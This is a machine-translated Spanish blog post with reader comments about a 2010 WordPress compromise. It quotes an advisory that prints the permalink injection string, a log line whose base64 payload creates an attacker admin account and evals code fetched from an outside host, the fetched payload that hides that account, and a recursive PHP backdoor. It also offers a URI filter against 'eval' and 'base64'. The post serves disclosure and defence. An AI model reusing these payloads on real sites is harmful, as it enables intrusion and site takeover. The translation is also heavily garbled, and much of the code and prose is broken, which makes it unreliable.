Categorías:

Traducir:
Italiano flagInglese flagFrancese flagTedesco flagPortoghese flagSpagnolo flag

Crónica de un ataque: (

El 25/02/2010 mi sitio no era accesible como spiderbot había inyectado un rey puso en mi dirección de blog a otro sitio (http://p3p0.com/) si trata de entrar en mi sitio a través de google o otros motores de búsqueda.




¿Qué pasó?
El ataque se llevó a cabo por el spiderbot que la explotación de los errores en WordPress son capaces de inyectar código en mi wp-config.php

Mi wordpress 2.9.2 es tanto, actualmente la última versión.

plugins uso muy pocos, pero les puedo asegurar que no proceden de ellos.

Este bot sólo ha cambiado mi fichero de configuración, escriba este código:
eval(base64_decode("......
Cómo corregir y cómo protegerse a sí mismos?

Luego INANCIAMIENTO todo, si usted tiene un sitio con no muchas visitas, le sugiero lo siguiente:
IPSafer.com
Me informó por: impecable.

Establezca la de sólo permisos de lectura para el archivo wp-config.php de esta manera, las actualizaciones no funcionará en teoría, pero antes de hacer una actualización sale este truco.

Uso Akismet
Y añade este código en tu plantilla de encabezado:

 <? Php
 if (strlen ($ REQUEST_URI '_SERVER ['])> 155 | |
	 strpos ($ REQUEST_URI '_SERVER ['], "eval") | |
	 strpos ($ REQUEST_URI '_SERVER ['], 'base 64')) (
		 Encabezado @ ("HTTP/1.1 414 Request-URI es demasiado largo");
		 Encabezado @ ("Situación: 414 Request-URI es demasiado largo");
		 Encabezado @ ("Conexión: Cerrar");
		 Salir @;
 )?>


Bloqueo de peticiones de más de 155 caracteres y contener la función eval código base64 o que el "virus"
Y si usted ya está infectado, eliminar el código de eval ... en el archivo wp-config y comprobar los otros archivos.
Y la base de datos.
Aunque no estoy de cera nada.
Por ahora no he encontrado nada que explique este ataque sólo un pequeño documento que usted fija:

WordPress EVAL (base64_decode ($ _SERVER [HTTP_REFERER])) Hack: sitios inicial AnalysisSeveral Han Sido golpeado recientemente (incluido éste) ¿Cuál es al parecer con una nueva vulnerabilidad en WordPress. El ataque explota la vulnerabilidad de una aparente que permite que las cuentas no administrativas para editar la estructura de enlaces permanentes del sitio. Esto se utiliza para inyectar código PHP no autorizada que crea una cuenta administrativa y WordPress Los intentos de ocultar la cuenta desde la interfaz de usuario Web a través de WordPress de inyección de JavaScript. También se inyecta código en PHP Varios archivos PHP en el sistema de archivos y ediciones a permalinks Aparece contienen código adicional intención de quién ser y eval base64 decodificado encabezados HTTP Referer.

El ataque inicial y la carga útil

¿Cómo funciona la vulnerabilidad es aún incierto, pero parece que el atacante debe registrar una cuenta a fin de iniciar el ataque. Al iniciar la sesión, el atacante edita la estructura de enlaces permanentes a extremo con:
"/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
Esto permite al atacante ejecutar código PHP a través de la cabecera HTTP Referer. El atacante entonces emite una solicitud a php con una carga maliciosa en la cabecera HTTP referer:

  219.75.255.131 - - 03/Sep/2009 [: 21:29:49 -0700] "POST / HTTP/1.0 xmlrpc.php" 200 394 "JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdDYXJyb2xXaWdnaW44Mic7JHVzZXJfcGFzcz0nQEhjJnB1VG1IJVRYJztldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vbGlua3Mud2Vid29yZHByZXNzLmNuL2RhdGEvc2hvcnRwYXJ0Mi50eHQnKSk7ZXhpdDs =" "Mozilla/5.0 (X11, U; Linux i686; es- EE.UU.; rv: 1.1b) Gecko/20020722 " 


En nuestros hogares, la fecha Decodifica base64 a:
$role='administrator';$user_login='CarrolWiggin82';$user_pass='@Hc&puTmH%TX';eval(file_get_contents('http://links.webwordpress.cn/data/shortpart2.txt'));exit;

Carga útil de ejecución

El archivo shortpart2.txt Tras contiene el código:

  require_once (wp-includes/registration.php ABSPATH. ') global $ wp_version; global $ wpdb;
     echo '<fecha>. "" \ n ";
     Users_id $ = $ get_results wpdb-> ("SELECT ID DESDE $ wpdb los usuarios>");
     foreach ($ users_id US $ id) (
    	 $ My_user get_userdata = ($ id,> ID);
    	 if ($ wp_user_level my_user-> == 10) (
    		 if (strlen ($ my_user-> user_firstname)> 25) wp_delete_user ($ id id->);
    	 )
     )
     echo''. get_option ('').''." SiteURL \ n ".''.$ wp_version .''." \ n ".''.$ .''." user_login \ n ".''. n $ .''." user_pass \ ";
     Wp_create_user $ user_id = ($ user_login, $ user_pass);
     Nombre ="... $ \ n \ n \ n \ n \ n \ n \ n \ n \ n "." <div Id="user_superuser"> language="JavaScript"> <script
     SetUserName var = function () (
    	 tratar (
    		 var t = document.getElementById ("user_superuser");
    		 while (t.nodeName! = "TR") (
    			 t = t.parentNode;
    		 );
    		 t.parentNode.removeChild (t);
    		 document.getElementsByTagName etiquetas var = ("H3");
    		 var s = "se muestra a continuación";
    		 for (var i = 0; i tags.length <; i + +) (
    			 t = var etiquetas [i]. innerHTML;
    			 h etiquetas var = [i];
    			 if (t.indexOf (s)> 0) (
    				 S = (parseInt (t) -1) + s;
    				 h.removeChild (h.firstChild);
    				 t = document.createTextNode (s);
    				 h.appendChild (t);
    			 )
    		 )
    		 arr var = document.getElementsByTagName ("ul");
    		 for (var i en arr) if (matriz [i]. className == "subsubsub") (
    			 var n = /> Administrador \ ((\ d +) \) </ gi.exec (matriz [i]. innerHTML);
    			 if (n [1]> 0) (
    				 txt var = matriz [i]. innerHTML.replace (/> Administrador \ ((\ d +) \) </ gi-> Administrador ("+ (n [1] -1 )+")<");
             arr [i]. innerHTML = txt;
             )
         )
               ) Capturas (e) ();
          );
          addLoadEvent (SetUserName);
     </ Script> </ div> ';
     update_usermeta ($ id_usuario, 'nombre', $ nombre); $ user = WP_User nueva ($ id_usuario) set_role $ usuario-> ($ papel);
     UPDATE_OPTION ('users_can_register', 0); print '<register_status>.  ('').'</ Get_option users_can_register register_status> '. "\ N"; echo' </> la fecha "." \ N "; 


Este código borra todas las cuentas de primera administrativo, cuyo nombre de pila son más de 25 caracteres; podría ser esto una forma de que el atacante para limpiar cualquier creado previamente las cuentas de gestión en caso de que s / él ataca el mismo sitio dos veces. El nombre del atacante, se ajusta para contener el código JavaScript, que oculta la cuenta del atacante desde la interfaz web de administración de WordPress, y se agudizan en la cuenta de privilegios de administrador.

Aunque todavía no está claro cómo o cuando sucede, los archivos PHP Varios otros están infectados con código malicioso lo siguiente:

  gpc_19045 función ($ l19047) (if (is_array ($ l19047)) (foreach ($ US $ l19047 l19045 => $ l19046) $ l19047 [$ l19045] = gpc_19045 ($ l19046)) elseif (is_string ($ l19047) y y
      substr ($ l19047, 0,4 )=="____") substr ($ l19047, 0,4 )=="____")
      (Eval (base64_decode (substr ($ l19047, l19047 )));$ 4 = null;) return $ l19047;) (eval (base64_decode (substr ($ l19047, l19047 )));$ 4 = null;) return $ l19047 ;)
      if (empty ($ _SERVER)) = $ _SERVER HTTP_SERVER_VARS $; array_map ("gpc_19045", $ _SERVER); if (empty ($ _SERVER)) = $ _SERVER HTTP_SERVER_VARS $; array_map ("gpc_19045", $ _SERVER); 


En nuestros hogares, el código inyectado en WS y Laboratorio index.php / index.php, que puedan indicó que era una scripts automatizados para funcionar en forma recursiva te romper index.php infectar archivos con el código. También ha habido informes de ser colocado el código en el archivo wp-config.php y la wp-content/uploads/pass.php archivo.

Mitigación

Dado que la ejecución de código inicial parece usar php para ejecutar la carga maliciosa, le sugerimos agregar una sola línea de lectura "exit ();" (sin comillas) como la primera línea de código PHP en el archivo php con el fin de Conveniente mitigado la amenaza hasta que el parche se produce. Tenga en cuenta que la vulnerabilidad de la real no aparece que se ubicará en xmlrpc.php, puede saber otras vías de explotación que aún existen.

Limpieza

La estructura del blog permalink deberían volver a los errores Prevenir y explotación adicional posible. Lo que también debería limpiar los archivos anteriores inyecciones y eliminar la cuenta administrativa del atacante. La cuenta de usuario inicial utilizado por el atacante también debería ser eliminado, probablemente será la última cuenta creada justo antes de la creación de la cuenta administrativa maliciosos. Más Información detallada sobre la limpieza de las cuentas maliciosos se pueden encontrar aquí .

Otros:

  1. 1 escuela de ataque] [En cuanto a la contraseña de administrador
Lo que pueda dejar una respuesta , ahora trackback desde tu propio sitio.

21 comentarios a "Crónica de un ataque: (


  1. Lino escribió:

    Gracias por compartir su experiencia con nosotros.



  2. clshack escribe:

    Acabo de Netsons gestores de contactos, esperando que me dejo algunas de registro, o más bien porque saben que pueden, dejando al descubierto los errores ;)



  3. GREY_FOX escribe:

    He publicado el fragmento que sugiere cabecera .. esperamos que bien!
    Hay un pequeño error en el código .... de la etiqueta <empezar? php está apagado ... este problema no cualquier persona que conozca el idioma, sino para un pobre usuario que se copia / pega podría dar algo de dinero!

    ¡Hola : D



  4. Louis escribe:

    Guía de Gran bonita, yo soy ignorante respecto a php y GT, pero algo que he seguido desde que pasó a utilizar una vez como una plataforma para un blog.
    Por supuesto, su nivel de conocimiento es mucho más que mi ;) ¡Sigan adelante!

    PD: sabiendo que recomendamos que utilizar el reproductor de audio llamado linux Exaile diseñado para Gnome. Es un s gráficos maravillosos, estable, fácil y simple, pero hermoso.
    http://www.exaile.org/downloads

    Hola!



  5. GREY_FOX escribe:

    Lugians @
    Niza banshee Exaile pero prefiero Gnome ... pero creo que estamos un poco fuera de tema : D



  6. Aldo escribió:

    Muy similar a lo que me pasó hace un mes y le dije aquí: http://wp.me/p4yd8-wZ



  7. impecable escribe:

    Hola, y gracias por compartir este análisis con nosotros! :)

    Hace algún tiempo yo también tuve un ataque similar (sin consecuencias, pero por otras razones ...) incluso en este caso la técnica fue para hacer cumplir el código indicado en la variable "HTTP_REFERER" de los $ _SERVER y codificados en la norma "base64". En mi caso, sin embargo, el hacker utiliza una herramienta automatizada que tiene la firma "<magic_seo_toolz>.

    Si alguna vez has tenido la versión 2.9.2 entonces hay mucho que hacer, sino enviar un aviso a los desarrolladores de WordPress.

    Si usted tenía una versión anterior (2.8.2 o una o más temprano), entonces es una nota débil, utilizado desde hace mucho tiempo para un ataque masivo . En este caso, el parche para resolver el problema particular que aquí , pero uno que resuelve el problema global se encuentra haciendo clic aquí .



  8. clshack escribe:

    Louis @:

    Louis ehehe gracias por los cumplidos ;)
    Y gracias por el reproductor de audio con GREY_FOX egnalazione :)

    GREY_FOX @:
    Php etiqueta para usted ;) wordpress es haciendo esto para evitar que se inserta el código en php ;)

    @ Sin recuerdos:
    Desafortunadamente impecable tengo la última versión de wordpress
    Afortunadamente, ya han marcado este error WordPress desconocida aquí =>

    http://wordpress.org/support/topic/363577

    Es evidente que, como era de esperar no es el único que están infectadas, esperemos que pronto en un parche.

    ¡Hola ;)



  9. clshack escribe:

    @ Aldo:

    es sí, he leído ;)

    Esperemos un parche pronto ;)

    entonces, esas Netsons, me encuentro con más -.- '



  10. evilripper escribe:

    stroria fea de todos modos y "una cosa extraña que no entendía cómo puedo cambiar el wp-config, el bot debe registrarse:

    ¿Cómo funciona la vulnerabilidad es aún incierto, pero parece que el atacante debe registrar una cuenta a fin de iniciar el ataque.

    Apagué la grabación de mi blog mientras que no puedes grabar! pero querían que esta cosa?
    http://www.clshack.it/wp-login.php?action=register

    Al ser un método de código abierto de la defensa más "común" para cambiar la página de administración ahora saber si con wp y "fácil como lo que (wp-admin.php -> khdsjfdhs.php in) y luego 'dejando claro que los archivos todos los derechos es más probable que no recuerdo si 777 wp requiere para el wp-config, pero creo que no!

    ¡Hola



  11. clshack escribe:

    El discurso de "el bot debe registrar" Ahora, yo no lo he probado todavía en mi wordpress error mencionado anteriormente, también porque yo ya había leído ese artículo y debe ser la vulnerabilidad que afecta a wordpress <2.8.4

    Así que no debe chocar con nada.
    Para el archivo wp-config, er mío se estableció a 777 no sé por qué todos los permisos a las carpetas y todos estaban en lo correcto ... el hecho es sin embargo, que nadie debe tener acceso de escritura, o tratar de escribir en el archivo WordPres ..

    ¡Hola :)



  12. GREY_FOX escribe:

    @ Clshack
    Para probar los plugins etiqueta PHP para resaltar el código que hay docenas ... sobre todo para un sitio como el suyo, donde el código postal continua puede ser útil.

    @ Evilripper
    Incluso mi blog wp permite la grabación no veo qué tiene de malo.
    No se puede cambiar el nombre de wp-admin.php menos que se ponga mano dura al código. En cuanto al wp-admin. No obstante, podría establecer una restricción a la wp-admin adicionales mediante la configuración de apache para exigir un paso adicional, pero parece demasiado excesivo : D



  13. clshack escribe:

    GREY_FOX @:

    más pronto o más tarde, puedo implementar GeSHi : P bah jeje sólo después de que se hizo pesado sitio

    @ Evilripper
    es poco probable solución un poco "que usted dice ;)

    Sin embargo, podría ser algo viable : P

    http://www.webmasterworld.com/apache/3731562.htm

    que construyó en nuestro caso, toda la manzana alrededor de la zona como base 64 cuerdas y así sucesivamente ... ;)

    jeje creo que pronto :)



  14. evilripper escribe:

    GREY_FOX @
    No hay nada de malo, sólo la idea general de que pocas cosas se dejan menos activo, pero ese es el riesgo en todas partes! en mi blog he decidido no poner el registro, ya que si añado los autores hacen Comento en el poste y no tienen que ser registrados, así que no necesito y no la capacidad! :-D

    para cambiar el directorio de gobierno (y no "un archivo que estoy equivocado!) dicen que acaba de hacer una especie de refactorización sin embargo yo no lo haría sin las pruebas necesarias en línea! :-D

    http://wp123.info/modifications/change-wp-admin-folder-name/

    ps
    Sin embargo, debe ser aplicado en una característica de wordpress! :-D

    ¡Hola



  15. GREY_FOX escribe:

    @ Evilripper
    Para mí eso es sólo problema, no toque mi corazón!
    Esperamos introducir algo de nuevas versiones de wp ...



  16. Ferik escribe:

    No creo que voy a utilizar wordpress más, demasiado débil, precisamente hoy, 02 de marzo 2010 recibí una bell'attacco devastador ... ... desconfianza.



  17. impecable escribe:

    @ Ferik
    Comparto sus preocupaciones, WordPress realmente está demostrando ser un poco 'demasiado débil!

    GREY_FOX @
    Yo no sería tan drástica! si el proyecto es de código abierto significa que los cambios son bienvenidos reforzar especialmente la solidez de todo: por ejemplo, justo hoy me di cuenta de que sacaron el parche de ipsafer para wordpress 2.9.2, y tal vez pueden ser útiles para fortalecer la «instalación de WordPress.

    @ Clshack
    así, esperamos que los desarrolladores de pronto va a resolver el "hueco". ;)



  18. GREY_FOX escribe:

    @ Sin recuerdos
    Seguramente vendrá cuando los cambios están bien integrados en el proyecto ... cambiando el núcleo es el único que pueda crear problemas significa que la próxima actualización



  19. clshack escribe:

    @ Todos: He pedido a los Netsons para buscar cadenas de inyectar en sus archivos de registro, a continuación, o son idiotas y no encuentro nada o enviando una petición no vino, pero desde mi punto de vista, aprovechando el error en <= php 5.2.12 ....



  20. GREY_FOX escribe:

    cls que ponga a tus control en un plugin para WordPress para que usted pueda USRE también en otros archivos a wp y no sólo los del tema.

    Usted puede encontrar aquí: http://thedevelopers.netsons.org/wordpress-in-pericolo-plugin-patch/

    Pero, ¿crees 155 caracteres es demasiado poco para el uri petición de éstos?


Trackback y pingback

  1. Crónica de un ataque: (
    [...] Además consultar la fuente: Crónica de un ataque Artículos relacionados: [¯|¯] EBOOK INTERNET: SEO - ...

Añadir un comentario